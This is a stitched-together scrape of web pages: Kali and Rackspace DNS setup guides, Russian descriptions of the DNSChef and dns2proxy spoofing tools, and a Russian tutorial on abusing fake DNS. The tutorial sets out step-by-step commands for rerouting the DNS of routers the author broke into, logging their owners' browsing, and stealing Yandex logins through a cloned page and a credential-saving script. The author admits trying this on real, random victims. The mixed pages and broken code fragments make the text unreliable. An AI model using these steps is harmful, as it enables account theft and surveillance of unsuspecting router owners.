- Change DNS in Kali
- Displaying current configuration of resolv.conf file
- Install and start resolvconf service
- Modifying resolvconf base and resolv.conf file with new servers
- Conclusion
- Инструменты Kali Linux
- Список инструментов для тестирования на проникновение и их описание
- DNSChef
- Описание DNSChef
- Справка по DNSChef
- Руководство по DNSChef
- Примеры запуска DNSChef
- Установка DNSChef
- Установка в BlackArch
- Установка в Debian и производные (Ubuntu, Mint)
- Kali linux dns server
- Add name servers to the configuration file
- Add the same name servers with IPv6 addresses
- Share this information:
- Инструменты Kali Linux
- Список инструментов для тестирования на проникновение и их описание
- dns2proxy
- Описание dns2proxy
- Справка по dns2proxy
- Руководство по dns2proxy
- Функция 1
- Функция 2
- Функция 3
- Описание файлов конфигурации dns2proxy
- Примеры запуска dns2proxy
- Установка dns2proxy
- Установка в Kali Linux
- Установка в Debian, Ubuntu, Mint
- Применение фальшивого DNS
- Принцип работы DNS и фальшивого DNS
- Программы для DNS прокси
- Запуск и остановка DNS прокси
- Сбор сведений, какие сайты посетил владелец роутера
- Блокировка сайтов с использованием DNS прокси
- Кража логинов и паролей с помощью DNS прокси
Change DNS in Kali
By Singh
Post date
Usually it is not recommended to change the DNS in one specific host. Instead it should be done at default router DHCP server. You might be in a scenerio where you want to change DNS in Kali itself due to some constraint. So we will quickly go through from the steps to change DNS in Kali using command line interface.
Displaying current configuration of resolv.conf file
File resolv.conf is located on etc folder path in Kali linux. To display the file content we can use cat command.
In my case, it is pointing to my router IP and I have pointed router DNS IP to public ISP. Also you can check that this file is generated by NetworkManager service. Please be informed that if we will modify the file then it will be overwritten.
Install and start resolvconf service
By default, Kali doesn’t have the resolvconf service pre-installed. We need to use apt install comand to install the service first.
You need to enable and run the resolvconf service after installation. We will check the service status after hitting the start command to make sure service enters into an active state.
Now you can check the status of resolv.conf file. Notice resolvconf service. modified the file.
Modifying resolvconf base and resolv.conf file with new servers
You can see that it is still pointing to my router gateway address. First we need to make changes in resolvconf base file and then we will modify network interfaces file.
You need to enter your desired set of nameserver details. I have used CloudFlare and Google public DNS IP Addresses for demonstartion.
Next we will modify the network interfaces file and will enter same set of DNS nameserver details.
Enter your dns-nameserver which can be anything or you can use public DNS servers.
Restart NetworkManager service and resolvconf.service after making all changes. Upon restart, you can see the modified resolvconf file.
If you don’t see the changes in resolv.conf file as displayed here then you can restart your linux machine. Sometimes it require a reboot of machine, however in most cases service restart does the magic.
Conclusion
Here we learnt how we can change DNS in Kali linux. These steps might work on other linux distrubutions as well. On a side note, I still don’t recommend to make to make change DNS in Kali linux, or infact any specific machine manually. The recommended way is to update your router or DHCP server configuration so that all the machines and devices in your network points to the desired DNS servers.
Источник
Инструменты Kali Linux
Список инструментов для тестирования на проникновение и их описание
DNSChef
Описание DNSChef
DNSChef — это высоко настраиваемый DNS прокси для тестеров на проникновение и аналитиков вредоносных программ. DNS прокси (также известный как «Fake DNS», фальшивый DNS) является инструментом, используемым для анализа сетевого трафика приложений в то время, как кто-то использует сеть. Например, DNS прокси можно использовать для поддельных запросов на «badguy.com», указывая на локальную машину для обрыва или перехвата этих запросов, направленных куда-либо в Интернет.
Существует несколько DNS прокси. Большинство просто указывают на все DNS запросы единственный IP адрес или реализуют только элементарную фильтрацию. DNSChef был создан как часть теста на проникновение при котором нужна была более гибкая для настройки система. Как результат, DNSChef — это кроссплатформенное приложение, способное подделывать ответы основываясь как на списках включения, так и исключения доменов, поддерживающее множество типов записей DNS, поиск соответствий доменов по подстановочным символам, ретрансляция истинных ответов для остальных доменов, работать с внешними файлами конфигурации, IPv6 и многими другими функциями.
Использовать DNS прокси рекомендуется в ситуациях, когда невозможно заставить приложение использовать какой-либо другой прокси сервер напрямую. Например, некоторые мобильные приложения полностью игнорируют настройки OS HTTP Proxy. В этих случаях, использование DNS прокси сервер, такого как DNSChef, позволит вам перехитрить это приложение и направить подключения к желаемой цели.
Справка по DNSChef
DNSChef — это высоко настраиваемый DNS прокси для тестеров на проникновение и аналитиков вредоносных программ. Он способен к тонкой настройке какие DNS ответы модифицировать, а какие просто ретранслировать с реальными ответами. Для того, чтобы воспользоваться этим инструментом вы должны или вручную настроить или отравить записи DNS сервера для указания на DNSChef. Инструменту требуются привилегии рута для запуска на привилегированных портах.
Руководство по DNSChef
Страница man отсутствует.
Примеры запуска DNSChef
Запуск DNSChef без опций – программа будет выступать в роли ретрослятора DNS запросов на настоящий DNS сервер и будет выводить данные о любой активности в стандартный вывод:
Запуск программы на интерфейсе с IP 185.117.153 (-i 185.117.153.79) и сохранять данные об активности в файл /root/dns.log (—logfile=/root/dns.log):
Для домена blackarch.ru (—fakedomains blackarch.ru) поменять адрес на фальшивый127.0.0.1 (—fakeip 127.0.0.1), не выводить заголовки (-q)
Установка DNSChef
Программа предустановлена в Kali Linux.
Установка в BlackArch
Установка в Debian и производные (Ubuntu, Mint)
Информация об установке в другие операционные системы будет добавлена позже.
Источник
Kali linux dns server
Authored by: Jered Heeschen
If you find that your server’s Domain Name Server (DNS) settings are misconfigured or you prefer to use your own, this article describes how to change your Linux® server’s DNS settings.
If you want to test your site without the test link prior to going live with SSL or verify that an alias site works prior to DNS changes, you can Modify your hosts file to override the DNS for a domain on a specific machine.
Add name servers to the configuration file
On most Linux operating systems, the DNS servers that the system uses for name resolution are defined in the /etc/resolv.conf file. That file should contain at least one nameserver line. Each nameserver line defines a DNS server. The name servers are prioritized in the order the system finds them in the file. Use the Internet Protocol (IP) addresses of the name servers when you enter them into the configuration file because the system doesn’t know what to do with domain names until after it knows how to get to the DNS servers.
In some cases, /etc/resolv.conf could be a directly managed file, populated by the network service ( network by using initscripts or NetworkManager ). To directly edit the configuration file, use the following steps to add the DNS servers:
Open the resolv.conf file with an editor, such as nano , to make the necessary changes. If the file doesn’t already exist, this command creates it:
sudo nano /etc/resolv.conf
Add lines for the name servers that you want to use. The following table displays which name server IP addresses to use depending on which datacenter houses your cloud servers. The “Name server IP address” column shows the lines to add to the configuration file:
Data center | Name server IP address |
---|---|
Hong Kong (HKG) | nameserver 120.136.32.62 nameserver 120.136.32.63 |
Northern Virginia (IAD) | nameserver 69.20.0.164 nameserver 69.20.0.196 |
London (LON) | nameserver 83.138.151.80 nameserver 83.138.151.81 |
Chicago (ORD) | nameserver 173.203.4.8 nameserver 173.203.4.9 |
Dallas/Fort Worth (DFW) | nameserver 72.3.128.240 nameserver 72.3.128.241. |
Sydney (SYD) | nameserver 119.9.60.62 nameserver 119.9.60.63. |
Frankfurt (FRA) | nameserver 159.135.130.45 nameserver 159.135.130.46 |
To ensure that your new settings are working, ping the domain name by using the following command:
ping -c 3 rackspace.com
You should see a result similar to the following one:
If you receive an unknown host message, double-check the IP addresses that you set as your DNS servers.
Add the same name servers with IPv6 addresses
If you’re using IPv6 on your server, you might need to add the IPv6 addresses of your name servers to the resolv.conf file. You can see if a DNS server has an IPv6 address by performing the following steps:
Use the following host command to get the domain name of the server (substitute your DNS server IP address):
Use the domain name you got back in another host lookup:
If an IPv6 address is returned, you can add that as another nameserver line in the resolv.conf file, as follows:
Then test as previously shown, by using the ping6 command instead of the regular ping command to force the system to use IPv6.
Share this information:
©2020 Rackspace US, Inc.
Except where otherwise noted, content on this site is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License
Источник
Инструменты Kali Linux
Список инструментов для тестирования на проникновение и их описание
dns2proxy
Описание dns2proxy
Это наступательный DNS сервер.
Этот инструмент предлагает различные функции последующей эксплуатации для жертвы, у которой вы изменили DNS.
Домашняя страница: https://github.com/singe/dns2proxy/ (доступный форк). Первоначально программа была опубликована автором по адресу https://github.com/LeonardoNve/dns2proxy, но из-за нового испанского закона, запрещающего публикацию «наступательных» инструментов/техник в сфере безопасности, он был вынужден удалить исходный код.
Справка по dns2proxy
-h, —help показать справку и выйти
-N, —noforward DNS перенаправление OFF (по умолчанию ON)
-i ИНТЕРФЕЙС, —interface ИНТЕРФЕЙС Интерфейс для использования
-u IP1, —ip1 IP1 Первый IP для добавления в ответ
-d IP2, —ip2 IP2 Второй IP для добавления в ответ
-I IPS, —ips IPS Список из IP для добавления после ip1,ip2 разделяется запятой
-S, —silent Молчаливый режим
-A ADMINIP, —adminIP ADMINIP IP администратора, который не фильтровать
Руководство по dns2proxy
Страница man отсутствует.
Функция 1
Традиционный спуф DNS добавляет в ответ оригинальный IP адрес.
Использование spoof.cfg file:
или вы можете использовать файл domains.cfg, чтобы спуфить все хосты этого же домена:
Имена хостов в nospoof.cfg не будут спуфиться.
Функция 2
Эта функция реализовывает атаку спуфинга DNS добавлением 2 IP адресов на верхушку запросов (резолюции) и настраивает систему следовать этим соединениям.
Вы можете посмотреть подробности в материалах BlackHat Asia 2014 OFFENSIVE: EXPLOITING DNS SERVERS CHANGES и в демо видео.
Для запуска этой атаки есть шеллскрипт, который автоматически настраивает систему использовать IP таблицы. Вы должны отредактировать этот файл, чтобы он подходил к вашей системе. НЕ ЗАБУДЬТЕ переменную AdminIP.
Оба IP должны быть должны быть в той же самой системе, чтобы позволить dns2proxy.py настроить форвардинг.
Скрипт fhtang.sh закроет программу и восстановит нормальные iptables.
Имена хостов в nospoof.cfg не будут спуфиться.
Функция 3
Этот dns сервер автоматически выявляет и корректирует изменения, которые делает sslstrip+ в именах хостов, чтобы избежать HSTS, поэтому будет отвечать должным образом.
Этот сервер необходим для выполнения атаки sslstrip+.
Описание файлов конфигурации dns2proxy
domains.cfg (или dominios.cfg): резолвит все хосты, которые есть в списке доменов по списку IP
spoof.cfg : Спуфит хосты с ip
nospoof.cfg: Отправляет всегда легитимный ответ, когда запрашиваются эти хосты.
nospoofto.cfg: Не отправлять фальшивые ответы по IP из этого списка.
victims.cfg: Если не пусто, отправлять фальшивые ответы только по этим IP адресам.
resolv.conf: DNS сервер для передачи запросов.
Примеры запуска dns2proxy
Информация в данный раздел будет добавлена позже.
Установка dns2proxy
Установка в Kali Linux
Установка в Debian, Ubuntu, Mint
Информация об установке в другие операционные системы будет добавлена позже.
Источник
Применение фальшивого DNS
При получении доступа к настройкам сетевого оборудования, когда физически мы находимся с ним не в одной локальной сети (по сути, когда невозможна атака человек-посередине), то одной из альтернатив может стать использование DNS прокси. Данный метод позволяет собрать разнообразную информацию и даже получить логины и пароли от сайтов. Данный метод применим, например, для каждого из роутеров в административную панель которых мы имеем доступ с помощью программы Router Scan by Stas’M.
Принцип работы DNS и фальшивого DNS
Если сказать очень упрощённо, то, когда в строку браузера мы вводим адрес сайта, например https://hackware.ru/, то компьютеру этот набор символов ничего не говорит. Он обращается к специально предназначенному для этого компьютеру в Интернете (DNS серверу) и спрашивает его, по какому адресу расположен домен hackware.ru. Сервер отвечает IP адресом. После этого наш компьютер обращается уже по IP адресу к серверу, на котором размещён hackware.ru. При этом в строке браузера ничего не меняется и для пользователей всё это происходит незаметно. Ещё раз повторю, это упрощённая, фактически, не совсем верная модель, но суть она отражает и для наших целей подходит идеально.
Когда мы получаем доступ к настройкам сетевого оборудования, то мы можем изменить любую информацию, в том числе и прописать адрес своего DNS сервера. Наш фальшивый DNS сервер мы можем настроить как угодно:
- он может отсылать неверный IP для всех запросов (так мы заблокируем Интернет подключение)
- он может отсылать неверный IP для конкретных сайтов (остальные сайты будут работать, а некоторые – нет)
- он может отсылать IP сервера, на котором будет копия настоящего сайта, при этом при вводе логина и пароля они будут сохраняться для нас.
При этом, если мы выбрали подменять информацию только для определённых сайтов, то для всех остальных наш DNS прокси будет спрашивать верные IP у настоящего DNS сервера, а потом переправлять верный ответ.
Программы для DNS прокси
Фальшивый DNS сервер ещё называют DNS прокси. В этой заметке я буду делать на примере DNSChef, она предустановлена и в Kali Linux, и в BlackArch. Ещё одна программа с аналогичной функциональностью — dns2proxy.
Если у вас дистрибутив, в котором в репозиториях DNSChef отсутствует, то вы можете самостоятельно установить любую из этих программ. Например, в производных Debian (Linux Mint, Ubuntu) это делается так:
1234567 | sudo apt-get install python-ipysudo pip install dnslibwget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o ‘dnschef-3<1,2>.3<1,2>.zip’ | head -n 1`unzip dnschef-*rm dnschef-*zipcd dnschef-*sudo python dnschef.py —help |
Ещё DNSChef прокси работает на Windows, причём даже не нужно ставить зависимости – бинарные файлы скомпилированы уже с ними. Но я в качестве сервера не использую Windows, поэтому каких-то детальных инструкций дать не могу.
Обычно, мы не можем запустить DNS прокси на нашем собственном компьютере, поскольку для работы нужно несколько условий:
- белый IP адрес
- постоянное подключение к Интернету
- ОС Linux (для меня это необходимое условие)
Самым простым и очевидным решением здесь является использование VDS. Можно воспользоваться готовыми вариантами, которые не требуют настройки (Debian, Ubuntu) и установить в них DNSChef как показано чуть выше. Можно целиком загрузить туда Kali Linux, поскольку хостер поддерживает пользовательские дистрибутивы. Это всё не принципиально – DNSChef везде будет работать одинаково. Если кому-то интересно, то я в качестве удалённого сервера использую BlackArch. Детальные инструкции по его настройке вы можете найти в разделе «Arch / BlackArch как сервер» здесь.
Независимо от того, кукую ОС вы выбрали, опции командной строки для DNSChef везде одинаковые.
Запуск и остановка DNS прокси
Запускать DNSChef нужно с ключом -i после которого должен идти IP вашего сервера (вашего VDS). Если вы по какой-то причине забыли IP вашего сервера, то узнать его можно, например, так:
Также для сохранения данных в файл можно воспользоваться опцией —logfile после которой указать путь до файла для сохранения истории запросов.
Ещё до самой команды можно поставить команду nohup, а после команды символ &; это приведёт к тому, что после закрытия терминала процесс продолжит свою работу в фоне (подробности здесь). Таким образом, если у меня IP 185.117.153.79, а сохранять данные я буду в файл /root/dns.log, то моя команда имеет полный вид:
1 | sudo nohup dnschef -i 185.117.153.79 —logfile=/root/dns.log & |
Просматривать записываемые данные можно, например, так:
1 | cat /root/dns.log |
Если вы хотите остановить процесс, то узнайте его pid с помощью
1 | ss -pnau |
Посмотрите, какой процесс прослушивает порт 53, а затем используйте команду
1 | kill pid_процесса_на_порту_53 |
Сбор сведений, какие сайты посетил владелец роутера
Если запустить DNSChef с минимальным набором опций, например, так:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —logfile=/root/dns.log & |
То DNSChef не будет оказывать никакого влияния на DNS записи. При получении DNS запроса он будет спрашивать у настоящего DNS сервера правдивые данные, а затем пересылать их запрашивающему. Таким образом, можно узнать, какие сайты были посещены.
Вносим изменения в роутер, доступ к которому мы получили. В поле Primary DNS Address я вписываю адрес своего DNS прокси и сохраняю изменения:
Перед тем как заменить запись на свою, обратите внимание на ту, которая там есть. Если она отличается от распространённых публичных DNS серверов (например, 8.8.8.8 и 8.8.4.4), то имеет смысл воспользоваться опцией —nameservers и указать там тот DNS, который присутствовал в настройках роутера изначально. Это очень хороший способ не выдать наше присутствие, поскольку роутер может использовать пользовательский DNS с только этому серверу известными записями (такое запросто может быть, если админ для своей локальной сети использует несуществующие домены). При этом ни наш сервер, ни сервер по умолчанию для запроса реальных данных (8.8.8.8) ничего об этих доменах не могут знать. Это может нарушить работу и пользователей роутера и выдать наше присутствие. Если же мы добавим к команде, например, —nameservers=212.109.216.106(в моём случае, IP 212.109.216.106 – это та запись, которая изначально была для первичного DNS сервера), то через наш DNS прокси запросы будут идти на тот же самый DNS, что и настроил админ. При этом мы по-прежнему сможем вести запись запросов и модифицировать ответы, т.е. на нашу работу применение этой опции никак не сказывается.
После этого начинается сбор данных:
Кроме сайтов, непосредственно посещённых пользователем, некоторые программы делают запросы к сайтам и веб-приложениям, они тоже в этом списке. Из «человеческих» здесь можно обратить внимание на сайты:
У кого-то установлен автоматический обновлятель драйверов
Эти записи говорят об использовании Team viewer
А DNS запросы об этих сайтах говорят об использовании техники Apple
- p47-buy.itunes.apple.com
- captive.apple.com
- p09-keyvalueservice.icloud.com
- apple.com
- guzzoni.apple.com
- www.apple.com
- init-p01st.push.apple.com
Тут видно, что наконец-то люди проснулись и начали пользоваться Интернетом:
Надеюсь это не роутер на работе – дальше там в основном идут одни социальные сети. ))
Узнать, какие сайты посетил пользователь уязвимого роутера – это хорошо, но явно мало.
Блокировка сайтов с использованием DNS прокси
Мы можем полностью «запретить» использование Интернета отправляя вместо реальных IP неверный в ответ на все запросы. Это делается опцией —fakeip. Пример:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip 127.0.0.1 —logfile=/root/dns.log & |
У конечного пользователя будет ошибка что-то вроде невозможно подключиться к DNS, сайты открываться не будут.
Используя пример выше, рассмотрим ситуацию, что вы хотите перехватить запросы только для blackarch.ru и оставить запросы на все другие домены, такие как suip.biz без модификации. Вы можете использовать параметр —fakedomains как проиллюстрировано ниже
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip 127.0.0.1 —fakedomains blackarch.ru —logfile=/root/dns.log & |
Можно использовать файлы, в которых прописать, к каким доменам обрывать подключения, или, наоборот, запретить доступ ко всем, кроме отдельных. Больше подобных примеров можно посмотреть здесь. Мне не хочется на этом останавливаться, т.к. какой-то выгоды от этого трудно получить, разве что заблокировать соц.сети от далёких с компьютерными технологиями людей (это легко обходиться).
Кража логинов и паролей с помощью DNS прокси
Это самая интересная часть, но и самая сложная. Кроме основ по использованию ОС Linux вы также должны владеть основами по администрированию веб-серверов, добавлению виртуальных хостов, а также уметь использовать дополнительные программы. На самом деле, чего-то очень трудного в этом нет, веб сервер уже даже может быть настроен (если вы заказали сконфигурированный Debian или Ubuntu). Как уже сказал, каких-то особых знаний здесь не требуется, это просто нужно уметь делать.
Алгоритм здесь следующий. Предположим, мы хотим узнать логин и пароль пользователя от сайта Яндекс (yandex.ru). Мы создаём виртуальный хост yandex.ru на нашем сервере. Там мы размещаем фальшивую страницу авторизации, которая сохранит для нас логин и пароль, введённый пользователем. Далее мы ждём, пока кто-нибудь подключиться к нашему серверу. Но… к нему никто не подключится, поскольку в реальных DNS записях указан не IP нашего сервера, а совершенно другого. Но вы ведь помните, что мы теперь контролируем все DNS запросы для конкретного человека (роутера)? Т.е. мы вместо отправки ему настоящего IP отправляем IP нашего фейкового yandex.ru и теперь уже ждём подключения с большими шансами.
Начнём по порядку. Предположим, что веб-сервер вы уже настроили или сами найдёте, как это сделать на Linux. Теперь добавляем виртуальный хост yandex.ru (я буду делать на примере BlackArch, но суть везде примерно одинаковая).
Начинаю с создания папки:
12 | mkdir -p /var/web/yandex.ruecho ‘Pod konstructorom’ > /var/web/yandex.ru/index.html |
1 | vim /etc/httpd/conf/sites-enabled/yandex.ru.conf |
примерно следующего содержания
12345678910111213141516 | DocumentRoot «/var/web/yandex.ru» ServerName yandex.ru ServerAdmin you@example.com ErrorLog «/var/log/httpd/localhost-error_log» TransferLog «/var/log/httpd/localhost-access_log» Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order deny,allow Allow from allRequire all granted |
Действительно важными здесь являются строки (первая указывает физическое расположение папки с сайтом, вторая – имя, которое сервер будет сопоставлять с папкой на сайте):
12 | DocumentRoot «/var/web/yandex.ru»ServerName yandex.ru |
Расположение логов вы можете настроить по своему желанию.
После этого перезапустите веб-сервер:
1 | systemctl restart httpd.service |
Проверить наш виртуальный хост мы пока не можем, поскольку нам нужно настроить DNSChef, чтобы он отправлял IP нашего подложного сервера вместо оригинального. Останавливаем DNSChef. И заново запускаем его примерно такой командой:
1 | sudo nohup dnschef -i IP_вашего_DNS_прокси —fakeip IP_вашего_веб-сервера —fakedomains yandex.ru —logfile=/root/dns.log & |
Например, конкретная команда в моём случае:
1 | sudo nohup dnschef -i 185.117.153.79 —fakeip 185.117.153.79 —fakedomains yandex.ru —logfile=/root/dns.log & |
Я не собираюсь воровать чьи-либо учётные данные (по крайней мере сейчас), поэтому случайно выбранных «жертв» я отключаю от своего DNS, возвращаю им оригинальные записи и дальше продолжаю тренироваться в лабораторных условиях.
Итак, при попытке открыть yandex.ru я теперь наблюдаю:
Этого явно недостаточно для получения логина и пароля. Нам нужно задействовать что-то вроде Social-Engineer Toolkit (SET). К сожалению, именно в этой ситуации SET не способна помочь. Она делает клон только HTML страницы сайта, а картинки, скрипты и прочее подгружает с оригинального. В нашем случае, ничего с оригинального сайта загружено быть не может, поскольку обращения будут идти к нашему веб-серверу, на котором никаких картинок и других необходимых файлов нет. Т.е. страница будет открываться, но выглядеть она будет очень неестественно.
Нам способна помочь программа HTTrack. Давайте создадим каталог и в нём сделаем полный клон одной страницы сайта:
123 | mkdir mirrorcd mirrorhttrack http://yandex.ru -r2 |
Теперь мы перенесём наш клон в директорию виртуального хоста:
12 | rm -rf /var/web/yandex.ru/*mv yandex.ru/ /var/web/ |
При попытке открыть теперь всё будет выглядеть весьма достойно (хотя данные больше не обновляются и отсутствует реклама):
Нам нужно отредактировать файл, чтобы данные для входа отправлялись на наш сервер файлу, который для этого предназначен. Нужно базовое знание HTML разметки или хотя бы понимание, как работает отправка через формы, поскольку у каждого сайта нужно изменить свою строку, отличающуюся от других. Открываем файл
1 | vim /var/web/yandex.ru/index.html |
1 | action=»https://passport.yandex.ru/passport?mode=auth&retpath=https://mail.yandex.ru» |
нужно заменить на строку вида
1 | action=»/файл_сохраняющий_пароли» |
В моём случае (файл для сохранения паролей post.php) строка имеет вид:
1 | action=»/post.php?mode=auth&retpath=https://mail.yandex.ru» |
На всё, что идёт после вопросительного знака можно не обращать внимание – в подобных случаях это не оказывает никакого влияния.
Ещё нам нужен сам файл post.php, который будет принимать и сохранять логины и пароли:
1 | vim /var/web/yandex.ru/post.php |
Пишем туда примерно такое:
1 | Error occurred. |
Создадим файл и сделаем его владельцем пользователя http (в Arch Linux это веб-сервер):
12 | touch /var/web/yandex.ru/gotit.txtchown -R http:http /var/web/yandex.ru/gotit.txt |
Вводим свои учётные данные для проверки. Обратите внимание, что на страницах работает автозаполнение! Т.е. веб-браузер уверен, что страница загружена с истинного сервера.
Может быть это не очевидно, но домен yandex.ru и www.yandex.ru – это две большие разницы! На самом деле, физически файлы в yandex.ru и www.yandex.ru могут находиться на разных серверах. Но не это нам интересно. Нам интересно то, что подменяя IP в DNS записи для yandex.ru, после «аутентификации» мы можем сделать редирект на www.yandex.ru и пользователь попадёт именно на реальный сайт, а не на наш сервер (конечно, если мы и для этого домена не подменили ответ от DNS сервера).
Статья не может быть бесконечной, поэтому здесь она кончается, но ещё можно было бы поговорить о:
Источник